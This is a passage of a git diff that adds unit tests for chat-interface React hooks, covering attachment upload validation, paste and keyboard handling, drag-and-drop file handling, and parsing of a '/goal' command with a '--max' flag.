+  displayErrorToast: (...args: unknown[]) => displayErrorToastMock(...args),
+}));
+
+vi.mock("#/stores/conversation-store", () => ({
+  useConversationStore: () => store,
+}));
+
+const createFile = (name: string, type: string) =>
+  new File([`${name} content`], name, { type });
+
+const setupMocks = () => {
+  vi.clearAllMocks();
+  store.images = [];
+  store.files = [];
+  validateFilesMock.mockReturnValue({ isValid: true });
+  processFilesMock.mockResolvedValue({ successful: [], failed: [] });
+  processImagesMock.mockResolvedValue({ successful: [], failed: [] });
+};
+
+describe("chat attachment upload", () => {
+  it("rejects invalid selections against all existing attachments", async () => {
+    setupMocks();
+    const existingImage = createFile("existing.png", "image/png");
+    const existingFile = createFile("existing.txt", "text/plain");
+    const selected = createFile("too-large.txt", "text/plain");
+    store.images = [existingImage];
+    store.files = [existingFile];
+    validateFilesMock.mockReturnValue({
+      isValid: false,
+      errorMessage: "Total size exceeds 3MB",
+    });
+    const { result } = renderHook(() => useChatAttachmentUpload());
+
+    await act(async () => result.current.handleUpload([selected]));
+
+    expect(validateFilesMock).toHaveBeenCalledWith(
+      [selected],
+      [existingImage, existingFile],
+    );
+    expect(displayErrorToastMock).toHaveBeenCalledWith(
+      "Error: Total size exceeds 3MB",
+    );
+    expect(processFilesMock).not.toHaveBeenCalled();
+    expect(processImagesMock).not.toHaveBeenCalled();
+    expect(store.addFileLoading).not.toHaveBeenCalled();
+  });
+
+  it("processes mixed files and images and publishes successful attachments", async () => {
+    setupMocks();
+    const textFile = createFile("notes.txt", "text/plain");
+    const image = createFile("diagram.png", "image/png");
+    processFilesMock.mockResolvedValue({
+      successful: [textFile],
+      failed: [],
+    });
+    processImagesMock.mockResolvedValue({
+      successful: [image],
+      failed: [],
+    });
+    const { result } = renderHook(() => useChatAttachmentUpload());
+
+    await act(async () =>
+      result.current.handleUpload([textFile, image], { fromPaste: true }),
+    );
+
+    expect(store.markImagesAsPasted).toHaveBeenCalledWith(["diagram.png"]);
+    expect(store.addFileLoading).toHaveBeenCalledWith("notes.txt");
+    expect(store.addImageLoading).toHaveBeenCalledWith("diagram.png");
+    expect(processFilesMock).toHaveBeenCalledWith([textFile]);
+    expect(processImagesMock).toHaveBeenCalledWith([image]);
+    expect(store.addFiles).toHaveBeenCalledWith([textFile]);
+    expect(store.addImages).toHaveBeenCalledWith([image]);
+    expect(store.removeFileLoading).toHaveBeenCalledWith("notes.txt");
+    expect(store.removeImageLoading).toHaveBeenCalledWith("diagram.png");
+    expect(displayErrorToastMock).not.toHaveBeenCalled();
+  });
+
+  it("reports individual file and image processing failures", async () => {
+    setupMocks();
+    const textFile = createFile("broken.txt", "text/plain");
+    const image = createFile("broken.png", "image/png");
+    processFilesMock.mockResolvedValue({
+      successful: [],
+      failed: [{ file: textFile, error: new Error("cannot read text") }],
+    });
+    processImagesMock.mockResolvedValue({
+      successful: [],
+      failed: [{ file: image, error: new Error("cannot decode image") }],
+    });
+    const { result } = renderHook(() => useChatAttachmentUpload());
+
+    await act(async () => result.current.handleUpload([textFile, image]));
+
+    expect(store.addFiles).not.toHaveBeenCalled();
+    expect(store.addImages).not.toHaveBeenCalled();
+    expect(store.removeFileLoading).toHaveBeenCalledWith("broken.txt");
+    expect(store.removeImageLoading).toHaveBeenCalledWith("broken.png");
+    expect(displayErrorToastMock).toHaveBeenCalledWith(
+      "Failed to process file broken.txt: cannot read text",
+    );
+    expect(displayErrorToastMock).toHaveBeenCalledWith(
+      "Failed to process image broken.png: cannot decode image",
+    );
+  });
+
+  it("cleans every loading marker when processing rejects unexpectedly", async () => {
+    setupMocks();
+    const textFile = createFile("notes.txt", "text/plain");
+    const image = createFile("diagram.png", "image/png");
+    processFilesMock.mockRejectedValue(new Error("worker crashed"));
+    const { result } = renderHook(() => useChatAttachmentUpload());
+
+    await act(async () => result.current.handleUpload([textFile, image]));
+
+    expect(store.removeFileLoading).toHaveBeenCalledWith("notes.txt");
+    expect(store.removeImageLoading).toHaveBeenCalledWith("diagram.png");
+    expect(displayErrorToastMock).toHaveBeenCalledWith(
+      "An unexpected error occurred while processing files",
+    );
+  });
+
+  it("handles a regular-file-only selection without marking pasted images", async () => {
+    setupMocks();
+    const textFile = createFile("notes.txt", "text/plain");
+    processFilesMock.mockResolvedValue({ successful: [textFile], failed: [] });
+    const { result } = renderHook(() => useChatAttachmentUpload());
+
+    await act(async () => result.current.handleUpload([textFile]));
+
+    expect(store.markImagesAsPasted).not.toHaveBeenCalled();
+    expect(processFilesMock).toHaveBeenCalledWith([textFile]);
+    expect(processImagesMock).toHaveBeenCalledWith([]);
+    expect(store.addFiles).toHaveBeenCalledWith([textFile]);
+  });
+
+  it("validates against the latest attachments after rerender", async () => {
+    setupMocks();
+    const selected = createFile("selected.txt", "text/plain");
+    const latestExisting = createFile("latest.txt", "text/plain");
+    const { result, rerender } = renderHook(() => useChatAttachmentUpload());
+
+    store.files = [latestExisting];
+    rerender();
+    await act(async () => result.current.handleUpload([selected]));
+
+    expect(validateFilesMock).toHaveBeenCalledWith(
+      [selected],
+      [latestExisting],
+    );
+  });
+});
diff --git a/__tests__/hooks/chat/use-chat-input-events.test.tsx b/__tests__/hooks/chat/use-chat-input-events.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..1dbe805b488e4e915cdfa8341b90c0a3815b8be9
--- /dev/null
+++ b/__tests__/hooks/chat/use-chat-input-events.test.tsx
@@ -0,0 +1,389 @@
+import { act, renderHook } from "@testing-library/react";
+import type { RefObject } from "react";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import { useChatInputEvents } from "#/hooks/chat/use-chat-input-events";
+
+const createElementRef = (text = "message") => {
+  const element = document.createElement("div");
+  element.contentEditable = "true";
+  element.textContent = text;
+  document.body.appendChild(element);
+  return {
+    element,
+    ref: { current: element } as RefObject<HTMLDivElement | null>,
+  };
+};
+
+const createKeyboardEvent = ({
+  key = "Enter",
+  composing = false,
+  shiftKey = false,
+}: {
+  key?: string;
+  composing?: boolean;
+  shiftKey?: boolean;
+} = {}) =>
+  ({
+    key,
+    shiftKey,
+    nativeEvent: { isComposing: composing },
+    preventDefault: vi.fn(),
+  }) as unknown as React.KeyboardEvent;
+
+const createClipboardEvent = ({
+  files = [],
+  text = "",
+}: {
+  files?: File[];
+  text?: string;
+}) =>
+  ({
+    preventDefault: vi.fn(),
+    clipboardData: {
+      files,
+      items: [],
+      getData: vi.fn((format: string) => (format === "text/plain" ? text : "")),
+    },
+  }) as unknown as React.ClipboardEvent;
+
+const renderInputEvents = ({
+  inputRef = { current: null },
+  smartResize = vi.fn(),
+  increaseHeight = vi.fn(),
+  isEmpty = vi.fn(() => false),
+  onFocus,
+  onBlur,
+}: {
+  inputRef?: RefObject<HTMLDivElement | null>;
+  smartResize?: () => void;
+  increaseHeight?: () => void;
+  isEmpty?: () => boolean;
+  onFocus?: () => void;
+  onBlur?: () => void;
+} = {}) =>
+  renderHook(() =>
+    useChatInputEvents(
+      inputRef,
+      smartResize,
+      increaseHeight,
+      isEmpty,
+      vi.fn(),
+      onFocus,
+      onBlur,
+    ),
+  );
+
+afterEach(() => {
+  document.body.replaceChildren();
+  Reflect.deleteProperty(document, "execCommand");
+  vi.useRealTimers();
+  vi.restoreAllMocks();
+});
+
+describe("chat input DOM events", () => {
+  it("resizes and clears whitespace while remaining safe before mount", () => {
+    const mounted = createElementRef("   ");
+    const mountedResize = vi.fn();
+    const mountedHook = renderInputEvents({
+      inputRef: mounted.ref,
+      smartResize: mountedResize,
+    });
+    const unmountedResize = vi.fn();
+    const unmountedHook = renderInputEvents({
+      smartResize: unmountedResize,
+    });
+
+    act(() => {
+      mountedHook.result.current.handleInput();
+      unmountedHook.result.current.handleInput();
+    });
+
+    expect(mountedResize).toHaveBeenCalledOnce();
+    expect(unmountedResize).toHaveBeenCalledOnce();
+    expect(mounted.element.textContent).toBe("");
+    expect(mounted.element.innerHTML).toBe("");
+  });
+
+  it("dispatches pasted files to the attachment system", () => {
+    const { result } = renderInputEvents();
+    const image = new File(["image"], "diagram.png", { type: "image/png" });
+    const paste = createClipboardEvent({ files: [image] });
+    const pastedFiles = vi.fn();
+    document.addEventListener("pasteFiles", pastedFiles);
+
+    try {
+      act(() => result.current.handlePaste(paste));
+
+      expect(paste.preventDefault).toHaveBeenCalledOnce();
+      expect(pastedFiles).toHaveBeenCalledOnce();
+      expect(
+        (pastedFiles.mock.calls[0][0] as CustomEvent<{ files: File[] }>).detail
+          .files,
+      ).toEqual([image]);
+    } finally {
+      document.removeEventListener("pasteFiles", pastedFiles);
+    }
+  });
+
+  it("inserts pasted text and resizes on the next task", () => {
+    vi.useFakeTimers();
+    const smartResize = vi.fn();
+    const { result } = renderInputEvents({ smartResize });
+    const execCommand = vi.fn();
+    Object.defineProperty(document, "execCommand", {
+      configurable: true,
+      value: execCommand,
+    });
+    const textPaste = createClipboardEvent({ text: "plain text" });
+
+    act(() => result.current.handlePaste(textPaste));
+    expect(execCommand).toHaveBeenCalledWith("insertText", false, "plain text");
+    expect(smartResize).not.toHaveBeenCalled();
+
+    act(() => vi.runOnlyPendingTimers());
+    expect(smartResize).toHaveBeenCalledOnce();
+  });
+
+  it("does not resize or insert an empty non-file paste", () => {
+    vi.useFakeTimers();
+    const smartResize = vi.fn();
+    const { result } = renderInputEvents({ smartResize });
+    const execCommand = vi.fn();
+    Object.defineProperty(document, "execCommand", {
+      configurable: true,
+      value: execCommand,
+    });
+    const paste = createClipboardEvent({ text: "" });
+
+    act(() => result.current.handlePaste(paste));
+    act(() => vi.runOnlyPendingTimers());
+
+    expect(paste.preventDefault).toHaveBeenCalledOnce();
+    expect(execCommand).not.toHaveBeenCalled();
+    expect(smartResize).not.toHaveBeenCalled();
+  });
+
+  it("clears whitespace on blur and invokes optional focus callbacks", () => {
+    const input = createElementRef("  ");
+    const onFocus = vi.fn();
+    const onBlur = vi.fn();
+    const { result } = renderInputEvents({
+      inputRef: input.ref,
+      onFocus,
+      onBlur,
+    });
+    const withoutOptions = renderInputEvents();
+
+    expect(() =>
+      act(() => {
+        result.current.handleFocus();
+        result.current.handleBlur();
+        withoutOptions.result.current.handleFocus();
+        withoutOptions.result.current.handleBlur();
+      }),
+    ).not.toThrow();
+    expect(onFocus).toHaveBeenCalledOnce();
+    expect(onBlur).toHaveBeenCalledOnce();
+    expect(input.element.textContent).toBe("");
+  });
+});
+
+describe("chat input keyboard events", () => {
+  it("ignores non-Enter keys and active IME composition", () => {
+    const isEmpty = vi.fn(() => false);
+    const { result } = renderInputEvents({ isEmpty });
+    const letter = createKeyboardEvent({ key: "a" });
+    const composingEnter = createKeyboardEvent({ composing: true });
+    const submit = vi.fn();
+
+    act(() => {
+      result.current.handleKeyDown(letter, false, submit);
+      result.current.handleKeyDown(composingEnter, false, submit);
+    });
+
+    expect(letter.preventDefault).not.toHaveBeenCalled();
+    expect(composingEnter.preventDefault).not.toHaveBeenCalled();
+    expect(isEmpty).not.toHaveBeenCalled();
+    expect(submit).not.toHaveBeenCalled();
+  });
+
+  it("increases the input height instead of submitting empty content", () => {
+    const increaseHeight = vi.fn();
+    const { result } = renderInputEvents({
+      increaseHeight,
+      isEmpty: () => true,
+    });
+    const event = createKeyboardEvent();
+    const submit = vi.fn();
+
+    act(() => result.current.handleKeyDown(event, false, submit));
+
+    expect(event.preventDefault).toHaveBeenCalledOnce();
+    expect(increaseHeight).toHaveBeenCalledOnce();
+    expect(submit).not.toHaveBeenCalled();
+  });
+
+  it("submits non-empty content on desktop Enter", () => {
+    vi.spyOn(window.navigator, "userAgent", "get").mockReturnValue(
+      "Mozilla/5.0 (X11; Linux x86_64)",
+    );
+    const { result } = renderInputEvents();
+    const event = createKeyboardEvent();
+    const submit = vi.fn();
+
+    act(() => result.current.handleKeyDown(event, false, submit));
+
+    expect(event.preventDefault).toHaveBeenCalledOnce();
+    expect(submit).toHaveBeenCalledOnce();
+  });
+
+  it.each([
+    {
+      label: "mobile Enter",
+      userAgent: "Mozilla/5.0 (iPhone; CPU iPhone OS 18_0 like Mac OS X)",
+      shiftKey: false,
+      disabled: false,
+    },
+    {
+      label: "Shift+Enter",
+      userAgent: "Mozilla/5.0 (X11; Linux x86_64)",
+      shiftKey: true,
+      disabled: false,
+    },
+    {
+      label: "disabled Enter",
+      userAgent: "Mozilla/5.0 (X11; Linux x86_64)",
+      shiftKey: false,
+      disabled: true,
+    },
+  ])("leaves $label unchanged", ({ userAgent, shiftKey, disabled }) => {
+    vi.spyOn(window.navigator, "userAgent", "get").mockReturnValue(userAgent);
+    const { result } = renderInputEvents();
+    const event = createKeyboardEvent({ shiftKey });
+    const submit = vi.fn();
+
+    act(() => result.current.handleKeyDown(event, disabled, submit));
+
+    expect(event.preventDefault).not.toHaveBeenCalled();
+    expect(submit).not.toHaveBeenCalled();
+  });
+});
+
+describe("chat input callback freshness", () => {
+  it("uses the latest input ref and resize callback after rerender", () => {
+    vi.useFakeTimers();
+    Object.defineProperty(document, "execCommand", {
+      configurable: true,
+      value: vi.fn(),
+    });
+    const first = createElementRef("first");
+    const latest = createElementRef("   ");
+    const firstResize = vi.fn();
+    const latestResize = vi.fn();
+    const increaseHeight = vi.fn();
+    const isEmpty = vi.fn(() => false);
+    const clearHandler = vi.fn();
+    const { result, rerender } = renderHook(
+      ({ inputRef, resize }) =>
+        useChatInputEvents(
+          inputRef,
+          resize,
+          increaseHeight,
+          isEmpty,
+          clearHandler,
+        ),
+      {
+        initialProps: { inputRef: first.ref, resize: firstResize },
+      },
+    );
+
+    rerender({ inputRef: latest.ref, resize: latestResize });
+    act(() => result.current.handleInput());
+    act(() =>
+      result.current.handlePaste(createClipboardEvent({ text: "latest" })),
+    );
+    act(() => vi.runOnlyPendingTimers());
+
+    expect(latest.element.textContent).toBe("");
+    expect(firstResize).not.toHaveBeenCalled();
+    expect(latestResize).toHaveBeenCalledTimes(2);
+  });
+
+  it("uses the latest empty-content callbacks after rerender", () => {
+    const inputRef: RefObject<HTMLDivElement | null> = { current: null };
+    const smartResize = vi.fn();
+    const clearHandler = vi.fn();
+    const firstCheck = vi.fn(() => false);
+    const latestCheck = vi.fn(() => true);
+    const firstIncrease = vi.fn();
+    const latestIncrease = vi.fn();
+    const { result, rerender } = renderHook(
+      ({ check, increase }) =>
+        useChatInputEvents(
+          inputRef,
+          smartResize,
+          increase,
+          check,
+          clearHandler,
+        ),
+      {
+        initialProps: { check: firstCheck, increase: firstIncrease },
+      },
+    );
+    const event = createKeyboardEvent();
+    const submit = vi.fn();
+
+    rerender({ check: latestCheck, increase: latestIncrease });
+    act(() => result.current.handleKeyDown(event, false, submit));
+
+    expect(firstCheck).not.toHaveBeenCalled();
+    expect(firstIncrease).not.toHaveBeenCalled();
+    expect(latestCheck).toHaveBeenCalledOnce();
+    expect(latestIncrease).toHaveBeenCalledOnce();
+    expect(submit).not.toHaveBeenCalled();
+  });
+
+  it("uses the latest focus, blur, and input ref after rerender", () => {
+    const first = createElementRef("first");
+    const latest = createElementRef("   ");
+    const firstFocus = vi.fn();
+    const latestFocus = vi.fn();
+    const firstBlur = vi.fn();
+    const latestBlur = vi.fn();
+    const smartResize = vi.fn();
+    const increaseHeight = vi.fn();
+    const isEmpty = vi.fn(() => false);
+    const clearHandler = vi.fn();
+    const { result, rerender } = renderHook(
+      ({ inputRef, focus, blur }) =>
+        useChatInputEvents(
+          inputRef,
+          smartResize,
+          increaseHeight,
+          isEmpty,
+          clearHandler,
+          focus,
+          blur,
+        ),
+      {
+        initialProps: {
+          inputRef: first.ref,
+          focus: firstFocus,
+          blur: firstBlur,
+        },
+      },
+    );
+
+    rerender({ inputRef: latest.ref, focus: latestFocus, blur: latestBlur });
+    act(() => {
+      result.current.handleFocus();
+      result.current.handleBlur();
+    });
+
+    expect(firstFocus).not.toHaveBeenCalled();
+    expect(firstBlur).not.toHaveBeenCalled();
+    expect(latestFocus).toHaveBeenCalledOnce();
+    expect(latestBlur).toHaveBeenCalledOnce();
+    expect(latest.element.textContent).toBe("");
+  });
+});
diff --git a/__tests__/hooks/chat/use-file-handling.test.tsx b/__tests__/hooks/chat/use-file-handling.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..c58fd3974388af24957a4a1b5ed8d7bebd9922c8
--- /dev/null
+++ b/__tests__/hooks/chat/use-file-handling.test.tsx
@@ -0,0 +1,247 @@
+import { act, renderHook } from "@testing-library/react";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import type { ChangeEvent, DragEvent as ReactDragEvent } from "react";
+import { useFileHandling } from "#/hooks/chat/use-file-handling";
+
+const createFile = (name: string) =>
+  new File([`${name} contents`], name, { type: "text/plain" });
+
+const createDragEvent = ({
+  files = [],
+  relatedTarget = null,
+}: {
+  files?: File[];
+  relatedTarget?: EventTarget | null;
+} = {}) =>
+  ({
+    preventDefault: vi.fn(),
+    dataTransfer: { files },
+    relatedTarget,
+  }) as unknown as ReactDragEvent<HTMLDivElement>;
+
+afterEach(() => {
+  document.body.replaceChildren();
+  vi.restoreAllMocks();
+});
+
+describe("file handling", () => {
+  it("forwards pasted files with paste metadata and ignores empty paste events", () => {
+    const addEventListener = vi.spyOn(document, "addEventListener");
+    const onFilesPaste = vi.fn();
+    renderHook(() => useFileHandling(onFilesPaste));
+    const pastedFile = createFile("pasted.txt");
+
+    act(() => {
+      document.dispatchEvent(
+        new CustomEvent("pasteFiles", {
+          detail: { files: [pastedFile] },
+        }),
+      );
+      document.dispatchEvent(
+        new CustomEvent("pasteFiles", { detail: { files: [] } }),
+      );
+    });
+
+    const pasteListener = addEventListener.mock.calls.find(
+      ([eventName]) => eventName === "pasteFiles",
+    )?.[1] as EventListener;
+    expect(() =>
+      act(() => {
+        pasteListener(
+          new CustomEvent("pasteFiles", { detail: { files: undefined } }),
+        );
+      }),
+    ).not.toThrow();
+
+    expect(onFilesPaste).toHaveBeenCalledOnce();
+    expect(onFilesPaste).toHaveBeenCalledWith([pastedFile], {
+      fromPaste: true,
+    });
+  });
+
+  it("removes its paste listener on unmount", () => {
+    const removeEventListener = vi.spyOn(document, "removeEventListener");
+    const onFilesPaste = vi.fn();
+    const { unmount } = renderHook(() => useFileHandling(onFilesPaste));
+
+    unmount();
+    document.dispatchEvent(
+      new CustomEvent("pasteFiles", {
+        detail: { files: [createFile("after-unmount.txt")] },
+      }),
+    );
+
+    expect(removeEventListener).toHaveBeenCalledWith(
+      "pasteFiles",
+      expect.any(Function),
+    );
+    expect(onFilesPaste).not.toHaveBeenCalled();
+  });
+
+  it("accepts paste events when no upload callback is configured", () => {
+    renderHook(() => useFileHandling());
+
+    expect(() => {
+      act(() => {
+        document.dispatchEvent(
+          new CustomEvent("pasteFiles", {
+            detail: { files: [createFile("unhandled.txt")] },
+          }),
+        );
+      });
+    }).not.toThrow();
+  });
+
+  it("opens the file chooser only when uploads are enabled and the input is mounted", () => {
+    const { result } = renderHook(() => useFileHandling());
+    const input = document.createElement("input");
+    const click = vi.spyOn(input, "click");
+
+    act(() => result.current.handleFileIconClick(false));
+    expect(click).not.toHaveBeenCalled();
+
+    result.current.fileInputRef.current = input;
+    act(() => result.current.handleFileIconClick(true));
+    expect(click).not.toHaveBeenCalled();
+
+    act(() => result.current.handleFileIconClick(false));
+    expect(click).toHaveBeenCalledOnce();
+  });
+
+  it("forwards selected input files and ignores a cleared input", () => {
+    const onFilesPaste = vi.fn();
+    const { result } = renderHook(() => useFileHandling(onFilesPaste));
+    const selectedFile = createFile("selected.txt");
+
+    act(() => {
+      result.current.handleFileInputChange({
+        target: { files: [selectedFile] },
+      } as unknown as ChangeEvent<HTMLInputElement>);
+    });
+    expect(onFilesPaste).toHaveBeenCalledWith([selectedFile], undefined);
+
+    act(() => {
+      result.current.handleFileInputChange({
+        target: { files: null },
+      } as unknown as ChangeEvent<HTMLInputElement>);
+    });
+    expect(onFilesPaste).toHaveBeenCalledOnce();
+  });
+
+  it("shows drag feedback only for enabled uploads", () => {
+    const { result } = renderHook(() => useFileHandling());
+    const disabledEvent = createDragEvent();
+
+    act(() => result.current.handleDragOver(disabledEvent, true));
+    expect(disabledEvent.preventDefault).not.toHaveBeenCalled();
+    expect(result.current.isDragOver).toBe(false);
+
+    const enabledEvent = createDragEvent();
+    act(() => result.current.handleDragOver(enabledEvent, false));
+    expect(enabledEvent.preventDefault).toHaveBeenCalledOnce();
+    expect(result.current.isDragOver).toBe(true);
+  });
+
+  it("keeps drag feedback while disabled or moving within the chat container", () => {
+    const { result } = renderHook(() => useFileHandling());
+    const container = document.createElement("div");
+    const child = document.createElement("span");
+    container.appendChild(child);
+    result.current.chatContainerRef.current = container;
+
+    act(() => result.current.handleDragOver(createDragEvent(), false));
+
+    const disabledEvent = createDragEvent();
+    act(() => result.current.handleDragLeave(disabledEvent, true));
+    expect(disabledEvent.preventDefault).not.toHaveBeenCalled();
+    expect(result.current.isDragOver).toBe(true);
+
+    const internalEvent = createDragEvent({ relatedTarget: child });
+    act(() => result.current.handleDragLeave(internalEvent, false));
+    expect(internalEvent.preventDefault).not.toHaveBeenCalled();
+    expect(result.current.isDragOver).toBe(true);
+  });
+
+  it("clears drag feedback when the pointer leaves the container or no container is mounted", () => {
+    const { result } = renderHook(() => useFileHandling());
+    const container = document.createElement("div");
+    const outside = document.createElement("div");
+    result.current.chatContainerRef.current = container;
+
+    act(() => result.current.handleDragOver(createDragEvent(), false));
+    const outsideEvent = createDragEvent({ relatedTarget: outside });
+    act(() => result.current.handleDragLeave(outsideEvent, false));
+    expect(outsideEvent.preventDefault).toHaveBeenCalledOnce();
+    expect(result.current.isDragOver).toBe(false);
+
+    act(() => result.current.handleDragOver(createDragEvent(), false));
+    result.current.chatContainerRef.current = null;
+    const unmountedEvent = createDragEvent({ relatedTarget: outside });
+    act(() => result.current.handleDragLeave(unmountedEvent, false));
+    expect(unmountedEvent.preventDefault).toHaveBeenCalledOnce();
+    expect(result.current.isDragOver).toBe(false);
+  });
+
+  it("ignores disabled drops without changing active drag feedback", () => {
+    const onFilesPaste = vi.fn();
+    const { result } = renderHook(() => useFileHandling(onFilesPaste));
+    act(() => result.current.handleDragOver(createDragEvent(), false));
+    const dropEvent = createDragEvent({ files: [createFile("ignored.txt")] });
+
+    act(() => result.current.handleDrop(dropEvent, true));
+
+    expect(dropEvent.preventDefault).not.toHaveBeenCalled();
+    expect(onFilesPaste).not.toHaveBeenCalled();
+    expect(result.current.isDragOver).toBe(true);
+  });
+
+  it("forwards enabled drops and always clears drag feedback", () => {
+    const onFilesPaste = vi.fn();
+    const { result } = renderHook(() => useFileHandling(onFilesPaste));
+    const droppedFile = createFile("dropped.txt");
+    act(() => result.current.handleDragOver(createDragEvent(), false));
+    const dropEvent = createDragEvent({ files: [droppedFile] });
+
+    act(() => result.current.handleDrop(dropEvent, false));
+
+    expect(dropEvent.preventDefault).toHaveBeenCalledOnce();
+    expect(onFilesPaste).toHaveBeenCalledWith([droppedFile], undefined);
+    expect(result.current.isDragOver).toBe(false);
+
+    act(() => result.current.handleDragOver(createDragEvent(), false));
+    const emptyDropEvent = createDragEvent();
+    act(() => result.current.handleDrop(emptyDropEvent, false));
+    expect(emptyDropEvent.preventDefault).toHaveBeenCalledOnce();
+    expect(onFilesPaste).toHaveBeenCalledOnce();
+    expect(result.current.isDragOver).toBe(false);
+  });
+
+  it("uses the latest upload callback for paste, input, and drop after rerender", () => {
+    const firstCallback = vi.fn();
+    const latestCallback = vi.fn();
+    const { result, rerender } = renderHook(
+      ({ callback }) => useFileHandling(callback),
+      { initialProps: { callback: firstCallback } },
+    );
+    const file = createFile("latest.txt");
+
+    rerender({ callback: latestCallback });
+    act(() => {
+      document.dispatchEvent(
+        new CustomEvent("pasteFiles", { detail: { files: [file] } }),
+      );
+      result.current.handleFileInputChange({
+        target: { files: [file] },
+      } as unknown as ChangeEvent<HTMLInputElement>);
+      result.current.handleDrop(createDragEvent({ files: [file] }), false);
+    });
+
+    expect(firstCallback).not.toHaveBeenCalled();
+    expect(latestCallback).toHaveBeenCalledTimes(3);
+    expect(latestCallback).toHaveBeenNthCalledWith(1, [file], {
+      fromPaste: true,
+    });
+    expect(latestCallback).toHaveBeenNthCalledWith(2, [file], undefined);
+    expect(latestCallback).toHaveBeenNthCalledWith(3, [file], undefined);
+  });
+});
diff --git a/__tests__/hooks/chat/use-goal-interceptor.test.ts b/__tests__/hooks/chat/use-goal-interceptor.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..152bf85e065074b014f9baa96f1ae2b37b5177a3
--- /dev/null
+++ b/__tests__/hooks/chat/use-goal-interceptor.test.ts
@@ -0,0 +1,101 @@
+import { act, renderHook, waitFor } from "@testing-library/react";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import { useGoalInterceptor } from "#/hooks/chat/use-goal-interceptor";
+
+const mockStartGoal = vi.hoisted(() =>
+  vi.fn<
+    (
+      id: string,
+      req: { objective: string; max_iterations?: number },
+    ) => Promise<void>
+  >(),
+);
+const mockToast = vi.hoisted(() => vi.fn<(message: string) => void>());
+
+vi.mock("#/hooks/mutation/conversation-mutation-utils", () => ({
+  startGoal: (
+    id: string,
+    req: { objective: string; max_iterations?: number },
+  ) => mockStartGoal(id, req),
+}));
+
+vi.mock("#/utils/custom-toast-handlers", () => ({
+  displayErrorToast: (message: string) => mockToast(message),
+}));
+
+const CONV = "conv-1";
+
+describe("useGoalInterceptor", () => {
+  beforeEach(() => {
+    mockStartGoal.mockReset();
+    mockStartGoal.mockResolvedValue(undefined);
+    mockToast.mockReset();
+  });
+
+  it("falls through to onSubmit for non-/goal messages", () => {
+    const onSubmit = vi.fn();
+    const { result } = renderHook(() => useGoalInterceptor(CONV, onSubmit));
+    act(() => result.current("hello world"));
+    expect(onSubmit).toHaveBeenCalledWith("hello world");
+    expect(mockStartGoal).not.toHaveBeenCalled();
+  });
+
+  it("intercepts /goal and starts the loop with the objective", () => {
+    const onSubmit = vi.fn();
+    const { result } = renderHook(() => useGoalInterceptor(CONV, onSubmit));
+    act(() => result.current("/goal make pytest pass"));
+    expect(onSubmit).not.toHaveBeenCalled();
+    expect(mockStartGoal).toHaveBeenCalledWith(CONV, {
+      objective: "make pytest pass",
+    });
+  });
+
+  it("parses a leading --max N flag", () => {
+    const { result } = renderHook(() => useGoalInterceptor(CONV, vi.fn()));
+    act(() => result.current("/goal --max 3 make pytest pass"));
+    expect(mockStartGoal).toHaveBeenCalledWith(CONV, {
+      objective: "make pytest pass",
+      max_iterations: 3,
+    });
+  });
+
+  it("parses the --max=N form", () => {
+    const { result } = renderHook(() => useGoalInterceptor(CONV, vi.fn()));
+    act(() => result.current("/goal --max=5 ship it"));
+    expect(mockStartGoal).toHaveBeenCalledWith(CONV, {
+      objective: "ship it",
+      max_iterations: 5,
+    });
+  });
+
+  it("ignores an invalid --max value and treats the rest as the objective", () => {
+    const { result } = renderHook(() => useGoalInterceptor(CONV, vi.fn()));
+    act(() => result.current("/goal --max abc do the thing"));
+    expect(mockStartGoal).toHaveBeenCalledWith(CONV, {
+      objective: "--max abc do the thing",
+    });
+  });
+
+  it("does nothing for a bare /goal with no objective", () => {
+    const onSubmit = vi.fn();
+    const { result } = renderHook(() => useGoalInterceptor(CONV, onSubmit));
+    act(() => result.current("/goal"));
+    expect(onSubmit).not.toHaveBeenCalled();
+    expect(mockStartGoal).not.toHaveBeenCalled();
+  });
+
+  it("falls through when conversationId is null", () => {
+    const onSubmit = vi.fn();
+    const { result } = renderHook(() => useGoalInterceptor(null, onSubmit));
+    act(() => result.current("/goal do it"));
+    expect(onSubmit).toHaveBeenCalledWith("/goal do it");
+    expect(mockStartGoal).not.toHaveBeenCalled();
+  });
+
+  it("shows an error toast when startGoal rejects", async () => {
+    mockStartGoal.mockRejectedValueOnce(new Error("boom"));
+    const { result } = renderHook(() => useGoalInterceptor(CONV, vi.fn()));
+    act(() => result.current("/goal do it"));
+    await waitFor(() => expect(mockToast).toHaveBeenCalledWith("boom"));
+  });
+});
diff --git a/__tests__/hooks/chat/use-model-interceptor.test.tsx b/__tests__/hooks/chat/use-model-interceptor.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..ae2f55c683e96eb7fd57e0ce5d141ec95d3b5f0b
--- /dev/null
+++ b/__tests__/hooks/chat/use-model-interceptor.test.tsx
@@ -0,0 +1,214 @@
+import React from "react";
+import { act, renderHook, waitFor } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import ProfilesService from "#/api/profiles-service/profiles-service.api";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import { useModelInterceptor } from "#/hooks/chat/use-model-interceptor";
+import { useEventStore } from "#/stores/use-event-store";
+import { useModelStore } from "#/stores/model-store";
+
+const { mockSwitchAndLog, mockDisplayErrorToast } = vi.hoisted(() => ({
+  mockSwitchAndLog: vi.fn(),
+  mockDisplayErrorToast: vi.fn(),
+}));
+
+vi.mock("#/hooks/mutation/use-switch-llm-profile-and-log", () => ({
+  useSwitchLlmProfileAndLog: () => ({
+    switchAndLog: mockSwitchAndLog,
+    isPending: false,
+  }),
+}));
+
+vi.mock("react-i18next", () => ({
+  useTranslation: () => ({
+    t: (key: string) => key,
+  }),
+}));
+
+vi.mock("#/utils/custom-toast-handlers", () => ({
+  displayErrorToast: mockDisplayErrorToast,
+}));
+
+const CONVERSATION_ID = "conv-1";
+
+const cloudBackend: Backend = {
+  id: "prod",
+  name: "Production",
+  host: "https://app.all-hands.dev",
+  apiKey: "bearer-token",
+  kind: "cloud",
+};
+
+const createUserMessageEvent = (id: string) => ({
+  id,
